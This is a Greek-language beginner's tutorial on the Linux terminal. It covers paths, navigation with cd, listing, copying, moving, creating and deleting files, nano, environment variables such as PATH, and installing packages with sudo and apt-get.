Linux για αρχάριους/Βασικές γνώσεις τερματικού
Βασικές γνώσεις τερματικού
επεξεργασίαΦάκελοι και Αρχεία (Folders and Files)
επεξεργασίαΙεραρχία αρχείων και φακέλων
επεξεργασίαΣτο Linux η βασική μονάδα ταξινόμησης των αρχείων είναι ο "φάκελος" (folder). Κάθε αρχείο βρίσκεται μέσα σε ένα φάκελο, ο οποίος φυσικά μπορεί να περιέχει πολλά αρχεία. Κάθε φάκελος με τη σειρά του βρίσκεται μέσα σε κάποιον άλλο φάκελο ο οποίος ονομάζεται "γονικός φάκελος" (parent folder). Η μόνη εξαίρεση είναι ο φάκελος /
ο οποίος ονομάζεται "ριζικός φάκελος" (root folder) και είναι η κορυφή της ιεραρχίας των φακέλων, είναι δηλαδή ο φάκελος που περιέχει όλους του άλλους φακέλους και αρχεία.
Everything is a file (τα πάντα είναι ένα αρχείο)
επεξεργασίαΣτο Linux, όσον αφορά το ίδιο το Λειτουργικό Σύστημα δεν υπάρχει ουσιαστική διάκριση μεταξύ αρχείων και φακέλων. Για την ακρίβεια, τα ονόματα των αρχείων και των φακέλων αντιμετωπίζονται ακριβώς με τον ίδιο τρόπο. Το μόνο που διαχωρίζει το όνομα ενός αρχείου από ένα φάκελο είναι ότι στους φακέλους μπορεί να μπει ένα /
στο τέλος του ονόματος, η ύπαρξη του οποίου όμως είναι προαιρετική. Πχ στο ακόλουθο παράδειγμα, ενώ για την πρώτη γραμμή είμαστε σίγουροι ότι το όνομα αναφέρεται σε ένα φάκελο, για την δεύτερη γραμμή δεν μπορούμε να ξέρουμε που ακριβώς αναφέρεται. Όταν θέλουμε να είμαστε απολύτως σίγουροι ότι αναφερόμαστε σε ένα φάκελο τότε βάζουμε πάντα ένα /
στο τέλος του path.
/home/john/this.is.a.folder/
/home/johy/this.is.a.just.a.name
Εμφάνιση τρέχοντος φακέλου
επεξεργασίαΚάθε φορά που μπαίνουμε σε ένα περιβάλλον γραμμής εντολών (ονομάζεται και κονσόλα ή τερματικό) βρισκόμαστε πάντα στον προσωπικό φάκελο του user μας. Η εντολή pwd
(από τα αρχικά της φράσης "print working directory") μας δείχνει το όνομα του φακέλου στον οποίο βρισκόμαστε (τρέχον φάκελος). Π.χ. αν ο user μας ονομάζεται John
, με την εκτέλεση της παραπάνω εντολής, η έξοδος που θα πάρουμε θα ήταν η εξής:
$ pwd
.
Paths (διαδρομές)
επεξεργασίαΤο όνομα κάθε αρχείου και φακέλου ορίζεται από τη διαδρομή των φακέλων (path) που συνδέει το root folder
με τον υπο-εξέταση φάκελο. Το όνομα αυτό είναι μοναδικό και ονομάζεται absolute path
(απόλυτη διαδρομή). Μερικά παραδείγματα absolute paths είναι τα ακόλουθα:
- Ο φάκελος
/home/john/Documents/photos
- Το αρχείο
/home/john/Documents/photos/birthday1.jpg
- Το αρχείο
/home/john/Documents/photos/birthday2.jpg
- Το αρχείο
/home/john/Documents/photos/birthday3.jpg
Όπως γίνεται εύκολα κατανοητό η χρήση των absolute paths ορίζει μονοσήμαντα κάθε αρχείο/φάκελο, όμως μπορεί να γίνει σύντομα κουραστική λόγω της επανάληψης και του μεγέθους των paths. Για το λόγο αυτό υπάρχουν και τα λεγόμενα relative paths
(σχετικές διαδρομές), μέσω των οποίων μπορούμε να αναφερθούμε σε ένα αρχείο/φάκελο, όχι σε σχέση με το root folder /
αλλά σε σχέση με τον τρέχοντα φάκελο. Αυτό γίνεται μέσω δύο ειδικών αρχείων που περιέχονται σε κάθε φάκελο και τα οποία συμβολίζονται με μία και δύο τελείες αντίστοιχα (.
και ..
). Το .
υποδεικνύει τον τρέχοντα φάκελο, ενώ το ..
υποδεικνύει τον γονικό του φάκελο.
Έτσι, παραδείγματος χάρη, αν βρισκόμαστε μέσα στο φάκελο /home/john/
:
- O τρέχον φάκελος είναι ο
/home/john
και μπορούμε να αναφερθούμε σε αυτόν μέσω του.
- O γονικός φάκελος του
/home/john
είναι ο/home
και μπορούμε να αναφερθούμε σε αυτόν μέσω του..
- O ο γονικός φάκελος του
/home
είναι ο/
και μπορούμε να αναφερθούμε σε αυτόν μέσω του../..
Αλλαγή φακέλου
επεξεργασίαΗ εντολή για να μεταβούμε σε έναν διαφορετικό φάκελο είναι η εντολή cd
(από τα αρχικά της φράσης "change directory"). Για να μεταβούμε σε έναν φάκελο αρκεί να γράψουμε cd όνομα_φακέλου
(δηλαδή "cd" (κενό) και το όνομα του φακέλου).
Αν το όνομα του φακέλου είναι ένα absolute path τότε ανεξαρτήτως ποιος είναι ο τρέχοντας φάκελος θα μεταφερθούμε στο φάκελο που δείχνει το absolute path (με την προϋπόθεση ότι αυτό το path υπάρχει φυσικά...). Για παράδειγμα, αν θέλουμε να μεταβούμε στον φάκελο /home/john/Documents/school
τότε αρκεί να δώσουμε την εντολή:
cd /home/john/Documents/school
Η προηγούμενη εντολή θα δουλέψει ανεξαρτήτως του που βρισκόμαστε αυτήν την στιγμή. Αν όμως βρισκόμαστε σε έναν από τους γονικούς φακέλους του /home/john/Documents/school
τότε υπάρχει και πιο εύκολος τρόπος για να μεταβούμε σε αυτόν, και δεν είναι άλλος από την χρήση των relative paths. Πχ, έστω ότι βρισκόμαστε στον φάκελο /home/john/Documents
. Στην περίπτωση αυτή, για να μεταβούμε στον υποφάκελο school
, αρκεί να δώσουμε:
cd school
Προκειμένου να καταλάβουμε καλύτερα τη χρήση των relative paths, ας δούμε μερικά παραδείγματα ακόμα. Έστω για παράδειγμα ότι βρισκόμαστε στον φάκελο /home/john/Documents/
. Αν δώσουμε cd .
τότε δεν θα αλλάξουμε φάκελο καθώς, όπως είπαμε το .
συμβολίζει τον τρέχοντα φάκελο. Εάν, από την άλλη, επιθυμούμε να μεταβούμε στον γονικό φάκελο, αρκεί να δώσουμε cd ..
(προσοχή στο κενό πριν το ..
!) και έτσι θα επιστρέψουμε στον /home/john
. Εάν βρισκόμαστε, για παράδειγμα, στον φάκελο /home/john/Documents/school/
και θέλουμε με έναν εύκολο τρόπο να μεταβούμε αμέσως στον αρχικό μας φάκελο /home/john
, αυτό μπορούμε να το επιτύχουμε δίνοντας cd ../..
(μεταφερόμαστε δηλαδή στον γονικό του γονικού φάκελο).
Μία πάρα πολύ χρήσιμη συντόμευση είναι η χρήση της cd
σκέτης χωρίς κανένα path μετά από αυτήν. Κάθε φορά που δίνουμε αυτή την εντολή μεταφερόμαστε στον αρχικό φάκελο του χρήστη μας. Πχ στο προηγούμενο παράδειγμα, αντί της cd ../..
, μπορούσαμε να δώσουμε απλά cd
και να έχουμε το ίδιο αποτέλεσμα. Προφανώς, για λόγους ευκολίας προτιμούμε τη χρήση του cd
.
Tab Completion (αυτοσυμπλήρωση)
επεξεργασίαΌταν γράφουμε paths με το χέρι είναι πολύ εύκολο να κάνουμε λάθη. Για το λόγο αυτό, όλα τα σύγχρονα τερματικά μας δίνουν βοήθεια, συμπληρώνοντας μόνα τους τα paths. Αυτό γίνεται ως ακολούθως.
Έστω ότι θέλουμε να πάμε στον φάκελο /home/john
. Αρχικά γράφουμε στο τερματικό χωρίς να πατήσουμε όμως ακόμα το "Enter":
cd /h
και σε αυτό το σημείο πατάμε το πλήκτο ΤΑΒ
, και θα δούμε ότι θα συμπληρωθεί το υπόλοιπο μέρος του ονόματος του φακέλου από μόνο του και ξαφνικά στο τερματικό εμφανίζεται το:
cd /home/
Σε αυτό το σημείο συνεχίζουμε γράφοντας τον πρώτο χαρακτήρα του υποφακέλου του "/home/" που μας ενδιαφέρει, δηλαδή:
cd /home/j
και πατάμε πάλι "TAB" ώστε να συμπληρωθεί πάλι το όνομα του επόμενου φακέλου. Θα δούμε ότι μετά από αυτό στο τερματικό θα γράφει:
cd /home/john
Την παραπάνω διαδικασία την συνεχίζουμε έως ότου συμπληρωθεί η πλήρης διαδρομή που μας ενδιαφέρει. Το παραπάνω μπορούσε να αυτοσυμπληρωθεί, διότι στον φάκελο "/" υπάρχει συνήθως μόνο ένας φάκελος του οποίου το όνομα αρχίζει από "h". Για να δούμε και μια άλλη περίπτωση, υποθέστε ότι ο ριζικός φάκελος περιέχει και έναν υποφάκελο "house". Εάν πατούσαμε πάλι το "TAB", τότε η αυτοσυμπλήρωση θα σταματούσε στο σημείο όπου οι φακέλοι θα είχαν διαφορετικούς χαρακτήρες στο όνομά τους. Για να καταλάβετε καλύτερα, οι φάκελοι "home" και "house" έχουν κοινούς χαρακτήρες έως το "ho", άρα η αυτοσυμπλήρωση σταματάει σε αυτό το σημείο και στην οθόνη εμφανίζεται:
cd /ho
ενώ περιμένει από μας να εισάγουμε τον επόμενο (ή επόμενους) χαρακτήρες. Εάν πατήσουμε τώρα "u" και αμέσως μετά "TAB", τότε η αυτοσυμπλήρωση μας δίνει, όπως θα περιμέναμε:
cd /house/
Ένα επιπρόσθετο βοηθητικό εργαλείο που μας προσφέρει το τερματικό είναι η χρήση του διπλού "TAB"! Έστω ότι έχουμε εισάγει:
cd /home/john/
και σε αυτό το σημείο πατήσουμε διπλό "TAB", θα εμφανιστούν όλοι οι φακέλοι που είναι διαθέσιμοι στον κατάλογο "john", δηλαδή θα μας εμφάνιζε:
cd /home/john/ Documents Downloads Music Pictures Videos (κλπ)
ώστε να ξέρουμε τι επιλογές έχουμε και να μας κάνει την ζωή πιο εύκολη :D
Ένα χρήσιμο σύμβολο που μας βοηθάει στην περιήγηση των φακέλων είναι το "~". Το σύμβολο αυτό αντικαθιστά την διαδρομή από τον ριζικό φάκελο έως τον προσωπικό μας φάκελο. Στην περίπτωσή μας δηλαδή "/home/john/". Για παράδειγμα βρισκόμαστε στον φάκελο "/house/" και θέλουμε να μεταβούμε γρήγορα στον φάκελο "/home/john/Documents/school/", ένας τρόπος για να το επιτύχουμε αυτό είναι να δώσουμε:
cd ~/Documents/school
Τέλος, ένα ακόμα χρήσιμο σύμβολο είναι το "-", το οποίο μας πηγαίνει στον αμέσως προηγούμενο φάκελο, στον οποίο βρισκόμασταν πρίν. Αυτή τη στιγμή, λοιπόν, βρισκόμαστε στον φάκελο "/home/john/Documents/school" και θέλουμε να επιστρέψουμε πάλι στο "/house" όπου ήμασταν πριν, με την εντολή:
cd -
Οι εντολές δεν είναι τίποτα παραπάνω από κανονικά προγράμματα όπως για παράδειγμα το γνωστό firefox. Θα μπορούσατε να δώσετε την εντολή
firefox
(εφόσον το έχετε εγκατεστημένο) και να σας άνοιγε ένα νέο παράθυρο του browser. Ο διαχωρισμός γίνεται μόνο σε εντολές (προγράμματα) που προορίζονται καθαρά για την γραμμή εντολών και τις υπόλοιπες που έρχονται και μαζί με ένα γραφικό περιβάλλον (GUI).
Για να καταλάβετε τις εντολές κάπως καλύτερα, θα πρέπει να γνωρίζετε την γενική τους μορφή η οποία είναι η εξής:
βασική_εντολή -παράμετρος1 τιμή_παραμέτρου1 -παράμετρος2 τιμή_παραμέτρου2 κλπ
ενώ συνήθως δεν χρειάζονται όλα αυτά. Στο παραπάνω παράδειγμα είδαμε την εντολή "cd" σε δύο πιό απλοικές μορφές
cd (σκέτη βασική_εντολή)
και
cd ~/Documents (βασική_εντολή τιμή_παραμέτρου1)
Περιεχόμενα φακέλου
επεξεργασίαΠαραπάνω είδαμε το διπλό "ΤΑΒ", για να εμφανίσουμε το σύνολο των διαθέσιμων υποφακέλων. Αυτός ο τρόπος χρησιμοποιείται κυρίως όταν γράφουμε την διαδρομή. Όταν βρισκόμαστε σε κάποιον φάκελο και θέλουμε να εμφανίσουμε τους υποφακέλους, αλλά και τα αρχεία, δίνουμε την εντολή
ls
(list) και θα μας τα εμφανίσει με παρόμοιο τρόπο του διπλού "TAB". Δίνοντας την εντολή
ls -l
επιστρέφεται αυτή τη φορά μία πιό λεπτομερής λίστα των αρχείων και φακέλων, μαζί με ενδιαφέρουσα χαρακτηριστικά του καθενός. Από τα αριστερά προς τα δεξιά βλέπουμε τα δικαιώματα του αρχείου (δείτε σχετικά εδώ), τον αριθμό των συνδέσμων ή υποφακέλων μέσα σε αυτόν τον φάκελο, τον ιδιοκτήτη του αρχείου, το group στο οποίο ανήκει αυτό το αρχείο, το μέγεθος σε KB, την ημερομηνία τελευταίας τροποποίησης και τέλος το όνομα του αρχείου. Στις δυο παραπάνω εντολές δεν εμφανίζονται τα κρυφά αρχεία. Αυτό το επιτυγχάνουμε δίνοντας μαζί και την παράμετρο "-a". Δηλαδή
ls -a
και
ls -l -a
αντίστοιχα. Στην δεύτερη περίπτωση επειδή οι παράμετροι δεν παίρνουν τιμή_παράμετρου μπορούμε να το γράψουμε και κάπως πιο μαζεμένα με αυτόν τον τρόπο:
ls -al
Τα γράμματα των παραμέτρων δεν θα μπορούσαν να ήταν τυχαία. Εδώ βλέπουμε ότι το "-a" σημαίνει "all" και το "-l" σημαίνει "list". Ίσως παρατηρήσατε, ότι στην εντολή "ls -l" (ή "ls -al") τα μεγέθη των αρχείων δεν είναι και τόσο ευανάγνωστα. Για να το διορθώσουμε αυτό, μπορούμε να δώσουμε μαζί και την παράμετρο "-h" (human readable), δηλαδή
ls -alh
Επειδή δεν μπορούμε να θυμόμαστε πάντα όλες τις παραμέτρους απ'έξω, μαζί με σχεδόν όλες τις εντολές έρχεται και ένα manual μαζί. Για να δούμε λοιπόν, το manual της "ls" αρκεί να δώσουμε
man ls
και όταν θελήσουμε να βγούμε από αυτό, απλά πατάμε το "q"(quit). Πολλά προγράμματα προσφέρουν επίσης την επιλογή (παράμετρο) "--help". Παράδειγμα:
ls --help
όπου θα βρείτε αντίστοιχη βοήθεια με του "man".
Αντιγραφή αρχείων
επεξεργασίαΕν συνεχεία, θα μάθουμε την εντολή αντιγραφής, την
cp
Για παράδειγμα, θέλουμε να πάρουμε backup ένα αρχείο κειμένου. Τότε δίνουμε:
cp κείμενο.txt κείμενο_backup.txt
Η πρώτη παράμετρος ορίζει την πηγή και η δεύτερη τον προορισμό. Εάν το δεύτερο αρχείο υπήρχε πρίν την παραπάνω εντολή, τότε τα περιεχόμενα του θα διαγραφούν και θα αντικατασταθούν με τα περιεχόμενα του πρώτου. Εάν δεν υπήρχε, τότε θα δημιουργηθεί ένα νέο αρχείο και θα πάρει πάλι τα περιεχόμενα του πρώτου.
Εάν θέλουμε να αντιγράψουμε το κείμενο σε κάποιον άλλον φάκελο, γράφουμε:
cp κείμενο.txt ~/Documents/school/
Μετακίνηση αρχείων
επεξεργασίαΗ επόμενη εντολή μας χρησιμεύει σε εργασίες μεταφοράς και μετονομασίας:
mv
Όπως και η "cp", έτσι και αυτή δεν μπορεί να χρησιμοποιηθεί σκέτη. Θα πρέπει να πάρει λοιπόν πάλι δύο παραμέτρους, μία πηγής και μία προορισμού. Έτσι λοιπόν την χρησιμοποιούμε με αυτόν τον τρόπο:
mv κείμενο.txt λίστα_σουπερμάρκετ.txt
όπου μετονομάζουμε το αρχικό κείμενο σε κάτι πιο χρήσιμο. Εάν όμως υπήρχε και το αρχείο "λίστα_σουπερμάρκετ.txt" και σε αυτήν την περίπτωση το περιεχόμενο του θα διαγραφόταν και θα το αντικαταστούσε αυτό του "κείμενο.txt". Για να μεταφέρουμε το κείμενο σε κάποιον άλλο φάκελο, για παράδειγμα στον γονεικό, δίνουμε την εντολή:
mv κείμενο.txt ../
ενώ αν θέλουμε δίνουμε και κάποια απόλυτη διαδρομή (σε κάποιο κρυφό φάκελο αν δεν θέλουμε να γίνεται εύκολα αντιληπτό αυτό το αρχείο):
mv κείμενο.txt /home/john/.my_secret_text_files/
Δημιουργία φακέλων
επεξεργασίαΘα πρέπει όμως να δημιουργήσουμε πρώτα αυτόν τον φάκελο. Πως γίνεται αυτό:
cd (για να επιστρέψουμε στον αρχικό μας φάκελο, εάν δεν βρισκόμαστε ήδη) mkdir .my_secret_text_files
Έστω ότι θέλουμε να δημιουργήσουμε τον φάκελο "/home/john/Music/discographies/MichaelJackson", αλλά ο φάκελος "discographies" δεν υπάρχει. Σε αυτήν την περίπτωση θα πρέπει να χρησιμοποιήσουμε την παράμετρο "-p" (δημιούργησε τα parents, εάν δεν υπάρχουν) του "mkdir":
mkdir -p /home/john/Music/discographies/MichaelJackson
Δημιουργία αρχείων
επεξεργασίαΕκτός από φακέλους θέλουμε φυσικά να δημιουργούμε και αρχεία. Ο πιο απλός τρόπος για να το πετύχουμε αυτό είναι με την εντολή touch
η σύνταξη της οποίας είναι touch filename
και η οποία δημιουργεί ένα κενό αρχείο με το όνομα filename
. Το αρχείο αυτό δεν είναι αρχείο κειμένου. Θα μπορούσε να είναι οτιδήποτε, αλλά προς το παρόν είναι απλά empty. Παρακάτω θα του εισάγουμε κείμενο με έναν text editor και θα γίνει εν τέλει αρχείο κειμένου.
Διαγραφή αρχείων
επεξεργασίαΚαι αυτή δεν είναι άλλη από την
rm
(remove!) Η εντολή "rm" εξυπηρετεί την διαγραφή αρχείων και φακέλων.
Σημείωση: Υπάρχει και η εντολή "rmdir" για την διαγραφή φακέλων, αλλά επειδή μπορούμε να την χρησιμοποιήσουμε μόνο
σε κενούς φακέλους, σπάνια προτιμάται.
Για να διαγράψουμε ένα αρχείο εκτελούμε:
rm όνομα_αρχείου
Μπορούμε φυσικά να δώσουμε την πλήρη διαδρομή ενός αρχείου:
rm /home/john/Documents/κείμενο.txt
Αν θέλουμε να διαγράψουμε πολλά συγκεκριμένα αρχεία στον τρέχοντα φάκελο:
rm κείμενο.txt φωτογραφία.png κλπ
Παραπάνω αναφερθήκαμε στην διαγραφή κενών φακέλων. Σε περίπτωση που υπάρχει έστω και ένα αρχείο μέσα στον φάκελο που θέλουμε να διαγράψουμε, θα πρέπει να χρησιμοποιήσουμε την παράμετρο "-r" (recursive - αναδρομικά, δηλαδή ψάχνει σε υποφακέλους, σε υποφακέλους των υποφακέλων, μέχρι να "πιάσει πάτο" και διαγράφει τα πάντα μέσα σε αυτούς):
rm -r /home/john/Documents/school
:D Μέχρι τώρα είδαμε ότι πρέπει να δώσουμε τα συγκεκριμένα ονόματα των αρχείων και των φακέλων ως τιμή_παράμετρου στις διάφορες εντολές. Αυτό όμως δεν μας προσφέρει καθόλου ευελιξία. Γι'αυτό υπάρχουν και κάποια βοηθητικά σύμβολα (τα λεγόμενα Wildcards!), που μας βοηθάνε να εκτελούμε τις εντολές σε μικρές ή μεγάλες ομάδες αρχείων:
?
Αντικαθιστάται με έναν μόνο χαρακτήρα (αλλά όχι τον κενό χαρακτήρα!). Έστω ότι μέσα στον φάκελο υπάρχουν τα αρχεία:
κείμενο1.txt κείμενο4.txt κείμενο5.txt κείμενο.txt
Αν δώσουμε:
rm κείμενο?.txt
θα διαγράψει τα τρία πρώτα αρχεία, ενώ το "κείμενο.txt" θα παραμείνει εκεί.
*
Αντικαθιστάται με οποιοδήποτε πλήθος χαρακτήρων (μαζί με τον κενό!) Είναι το πιό συχνά χρησιμοποιούμενο σύμβολο. Αυτή τη φορά στο φάκελο έχουμε:
κείμενο1.txt κείμενο4.txt κείμενο5.txt κείμενο.txt φωτογραφία.png
Για να διαγράψουμε όλα τα αρχεία που τελειώνουν σε ".txt" δίνουμε:
rm *.txt
Για να διαγράψουμε όλα τα περιεχόμενα του φακέλου:
rm *
το οποίο μπορούμε να το γράψουμε και ως:
rm ./*
Παραπάνω Wildcards μπορείτε να βρείτε εδώ. Αν θέλουμε να εκτυπώσουμε τα περιεχόμενα ενός αρχείου κειμένου στα γρήγορα στο τερματικό πληκτολογούμε:
cat κείμενο.txt
(concatenate) Η εντολή "cat" έχει πάρα πολλές δυνατότητες και η παραπάνω χρήση της είναι η απλούστερη μορφή. Αν θέλετε να δείτε τι παραπάνω μπορεί να κάνει αρκεί να δώσετε:
man cat
όπως άλλωστε και με τις περισσότερες εντολές. Αν θέλουμε να έχουμε την δυνατότητα να επεξεραστούμε το παραπάνω κείμενο, θα χρειαστεί να επιστρατεύσουμε κάποιον text editor και από τους πιο φιλικούς προς αρχάριους είναι ο:
nano
Αν τον δώσουμε σκέτο, δεν έχει επιλέξει κάποιο συγκεκριμένο αρχείο προς επεξεργασία και αυτό θα δημιουργηθεί/αποθηκευτεί κατά την έξοδο μας από τον editor. Εισάγουμε το κείμενο μας όπως στους περισσότερους editors που έχετε συνηθίσει εως τώρα. Όταν τελειώσουμε πατάμε "Ctrl+X" για να βγούμε από το πρόγραμμα. Σε αυτό το σημείο θα μας ρωτήσει εαν θέλουμε να αποθηκευτεί το αρχείο κειμένου. Πατάμε "y" ή "n" αντίστοιχα. Αν πατήσαμε "y" θα πρέπει να δώσουμε το όνομα με το οποίο θα αποθηκευτεί και πατάμε "Enter". Για να ανοίξουμε ένα ήδη υπάρχον αρχείο (για παράδειγμα το αρχείο που δημιουργήσαμε παραπάνω με την εντολή "touch"!) προς επεξεργασία απλά δίνουμε:
nano αρχείο_κειμένου
και κατά την αποθήκευση το ίδιο όνομα έχει συμπληρωθεί από μόνο του και αν δεν θέλουμε να το αλλάξουμε απλά πατάμε πάλι "Enter".
Σημείωση: Η χρήση του "touch" πριν το "nano" δεν είναι απαραίτητη. Το αρχείο θα δημιουργηθεί έτσι και αλλιώς από το "nano".
Το "touch" χρησιμοποιείται συνήθως σε άλλες περιπτώσεις.
Στο κάτω μέρος του "nano" θα βρείτε τα δίαφορα χρήσιμα shortcuts που μας προσφέρει (όπου "^" πατάμε Ctrl!). Ένα ακόμη χρήσιμο shortcut είναι το "Ctrl+W" για αναζήτηση κειμένου. Πιο προχωρημένοι χρήστες προτιμούν πολύ πιο δυνατούς editors όπως ο "vim" ή ο "emacs", αλλά δεν θεωρούνται καθόλου φιλικοί προς αρχάριους, όμως έρχονται με πάρα πολλές δυνατότητες. Εκτός από τα διάφορα tutorials και man pages που μπορείτε να αναζητήσετε μόνοι σας (δείτε σχετικά εδώ), υπάρχει και ένας διασκεδαστικός τρόπος να μάθετε τον "vim", παίζοντας στον browser σας vim adventures!!
Οι παραπάνω τρόποι είναι για να επεξεργαστούμε τα κείμενα μας μόνο στο τερματικό. Πολλές φορές όμως οι χρήστες επιλέγουν να ανοίξουν τα αρχεία τους με κάποιον editor που έχει και GUI. Ο συνηθέστερος αυτών είναι ο "gedit". Ανοίγετε το αρχείο σας:
gedit text_file
και όταν τελειώσετε, αποθηκεύετε το αρχείο σας (π.χ. με Ctrl+S ή από το αντίστοιχο button που προσφέρει ο gedit πάνω αριστερά) και όταν κλείστε το παράθυρο, επιστρέφετε πάλι στο τερματικό και συνεχίζετε από εκεί που ήσασταν. Όταν εκκινείτε από το τερματικό κάποιο πρόγραμμα με GUI, δεν μπορείτε να συνεχίσετε να χρησιμοποιείτε το τερματικό εως ότου κλείστε την εφαρμογή. Αυτό μπορούμε να το παρακάμψουμε εισάγοντας το σύμβολο "&" στο τέλος κάποιας εντολής:
gedit λίστα_σουπερμάρκετ &
Η τελευταία εντολή που θα μας απασχολήσει σε αυτόν τον εισαγωγικό οδηγό είναι η "echo". Αυτή αναλαμβάνει να εκτυπώσει τα περιεχόμενα από κάποια πηγή που της δίνουμε στο τερματικό. Για παράδειγμα:
echo "Hello World!"
και στο τερματικό θα εκτυπωθεί φυσικά:
Hello World!
Το σύστημά μας χρησιμοποιεί και διάφορες μεταβλητές που είναι χρήσιμες για κάποιες εργασίες. Μία από τις πιό ενδιαφέρουσες είναι η μεταβλητή "PATH" η οποία περιέχει όλες τις διαδρομές οι οποίες περιέχουν εκτελέσιμα προγράμματα. Κάθε φορά που δίνουμε μία εντολή, το τερματικό ψάχνει σε όλους τους φακέλους του "PATH" και αν την βρεί, την εκτελεί. Για να δούμε τα περιεχόμενα του "PATH", εκτελούμε:
echo $PATH
και στην οθόνη μας θα εμφανιστεί κάτι τέτοιο:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
το "$" υποδηλώνει ότι θα πρέπει να εκτυπωθούν τα περιεχόμενα του "PATH" (λόγω του ότι εδώ έχουμε μια μεταβλητή), επειδή χωρίς το "$" στην οθόνη μας θα εκτυπωνόταν απλά ένα:
PATH
Υπάρχουν προγράμματα που δεν είναι αποθηκευμένα σε κάποιον από τους φακέλους του PATH. Συνήθως επειδή μπορεί να έχουμε κατεβάσει κάποιο πρόγραμμα χειροκίνητα από κάποια ιστοσελίδα (το οποίο είναι σπάνιο - εάν υπάρχει δυνατότητα εγκατάστασης αυτού το προγράμματος μέσω κάποιου package manager (δείτε σχετικά εδώ) θα πρέπει να ακολουθείτε πάντα αυτόν τον τρόπο!). Για να εκτελέσουμε, λοιπόν ένα τέτοιο πρόγραμμα θα πρέπει να δώσουμε την πλήρη διαδρομή του ξεκινώντας από τον ριζικό φάκελο. Όμως ο πιο συνήθης τρόπος είναι ότι βρισκόμαστε ήδη μέσα στον φάκελο αυτού το προγράμματος και σε αυτήν την περίπτωση αρκεί να δώσουμε:
./όνομα_προγράμματος
Προσέξτε όμως ότι το αρχείο αυτό θα πρέπει να είναι εκτελέσιμο! (δείτε σχετικά εδώ). Επίσης δεν θα πρέπει να κατεβάζετε τέτοια προγράμματα από άγωνστες πηγές (δείτε γιατί!!).
Άλλες δύο χρήσιμες μεταβλητές είναι η $HOME που έχει το ίδιο περιεχόμενο με το σύμβολο "~" που είδαμε παραπάνω και η $EDITOR που ορίζει τον βασικό editor του συστήματός μας (πχ vim ή nano).
Εγκατάσταση προγραμμάτων
επεξεργασίαWith great power comes great responsibility (όπως λένε και στο χωριό του Βαιμάκη). Μπορεί να φαίνεται ωραίο το να έχει κανείς πολλά δικαιώματα, αλλά από την άλλη πλευρά αυτό αποτελεί και μικρότερη ασφάλεια. Η μεγαλύτερη πηγή προβλημάτων στο linux είναι ο ίδιος ο χρήστης, όσο και αν αυτό μπορεί να σας φαίνεται παράξενο. Ίσως να έχετε ακούσει το ακρωνύμιο "PEBKAC" (Problem Exists Between Keyboard And Chair), ενώ ιοί και malwares έρχονται σε δεύτερη μοίρα. Για αυτό, οι περισσότερες διανομές δεν σας συνδέουν με τον υπερχρήστη, αλλά δημιουργούν έναν δεύτερο χρήστη με περιορισμένα δικαιώματα. Βέβαια, πολλές φορές θα πρέπει να εκτελέσετε κάποιες εντολές με δικαιώματα υπερχρήστη, αλλά αυτό δεν σημαίνει ότι θα πρέπει να συνδεθείτε με τον λογαριασμό αυτόν. Συνήθως τέτοια δικαιώματα απαιτούνται από εντολές που μπορούν να έχουν σημαντικές επιπτώσεις στο σύστημά σας.
Ένα καλό παράδειγμα είναι η χρήση του package manager της διανομής σας. Καθώς η (απ)εγκατάσταση/αναβάθμιση πακέτων είναι ζωτικής σημασίας, οι αντίστοιχες έντολες έχουν προστατευτεί ώστε να μην μπορούν να εκτελεστούν από τον απλό χρήστη. Όμως υπάρχει η δυνατότητα από τον απλό χρήστη να εκτελέσει μία και μόνο εντολή προσωρινά με δικαιώματα υπερχρήστη, τοποθετώντας την λέξη "sudo" πριν από την εντολή που θα ήθελε να εκτελέσει. Έτσι, αν δίναμε:
apt-get install gimp
το τερματικό θα μας ειδοποιούσε ότι δεν έχουμε τα κατάλληλα δικαιώματα για να την εκτελέσουμε. Αντ' αυτού θα πρέπει να δώσουμε:
sudo apt-get install gimp
Στο σημείο αυτό θα ζητηθεί ο κωδικός του χρήστη μας, και μόλις τελειώσει δεν θα έχουμε πλέον δικαιώματα υπερχρήστη. Πολλές φορές ίσως να ξεχάσετε το sudo και αντί να ξαναγράψετε το παραπάνω, ή να "παίζετε" με βελάκια, υπάρχει ένας πιο σύντομος τρόπος:
sudo !!
όπου το "!!" αντικαθιστά την προηγούμενη εντολή, στην περίπτωσή μας το "apt-get install gimp".
Τέλος, μία λίστα με χρήσιμες εντολές με σύντομη περιγραφή. Για παραπάνω πληροφορίες σχετικά με αυτές θα πρέπει να συμβουλευτείτε είτε τις man pages τους ή online tutorials κλπ. Καλό θα ήταν να μάθετε καλά τις επιλογές που σας προσφέρει ο package manager της διανομής σας (περισσότερες πληροφορίες εδώ):
Διάφορες εντολές
επεξεργασίαΔιαχειριστές πακέτων
επεξεργασίαΌνομα | Διανομή |
---|---|
apt-get | Debian, Ubuntu, Mint και παράγωγες διανομές |
yum | Fedora |
zypper | OpenSuse |
pacman | Arch Linux |
Περιήγηση στους φακέλους / Εκτύπωση πληροφοριών / Επεξεργασία αρχείων
επεξεργασίαHeader text | Header text |
---|---|
cat | Eκτύπωση του κειμένου ενός αρχείου στο τερματικό |
cd | περιήγηση στους φακέλους του συστήματος |
cp | αντιγραφή αρχείων |
echo | εκτύπωση κειμένου από πηγή επεξήγηση |
file | Προβολή του τύπου ενός αρχείου. |
head | Προβολή των πρώτων γραμμών ενός αρχείου |
tail | Προβολή των τελευταίων γραμμών ενός αρχείου |
less και more | για να δείτε τα περιεχόμενα ενός αρχείου κειμένου |
ln | δημιουργία links (shortcuts) |
ls | προβολή των αρχείων και των υποφακέλων ενός φάκελου |
lsusb | λίστα με όλες τις συσκευές του συστήματος συνδεδεμένες μέσω usb |
lspci | λίστα με όλες τις συσκευές του συστήματος συνδεδεμένες μέσω pci |
man | προβολή εγχειριδίου βοήθειας εντολής/προγράμματος |
mkdir | δημιουργία φακέλου |
mv | μεταφορά/μετονομασία αρχείων |
nano | απλός text editor |
pwd | εκτύπωση ονόματος τρέχοντος φακέλου |
rm | διαγραφή αρχείων |
rmdir | διαγραφή φακέλου υπό την προϋπόθεση ότι αυτός είναι κενός |
touch | δημιουργία κενού αρχείου |
tar | για συμπίεση/αποσυμπίεση αρχείων |
vim | εξειδικευμένος text editor |
wc | μετράει πόσες λέξεις/γραμμές/χαρακτήρες έχει ένα κείμενο |
Λογαριασμοί χρηστών / Δικαιώματα
επεξεργασίαΕντολή | Περιγραφή |
---|---|
chmod | αλλάζει τα δικαιώματα των αρχείων (δείτε σχετικά εδώ) |
exit | Αποσύνδεση του χρήστη |
su | Σύνδεση ως υπερχρήστης |
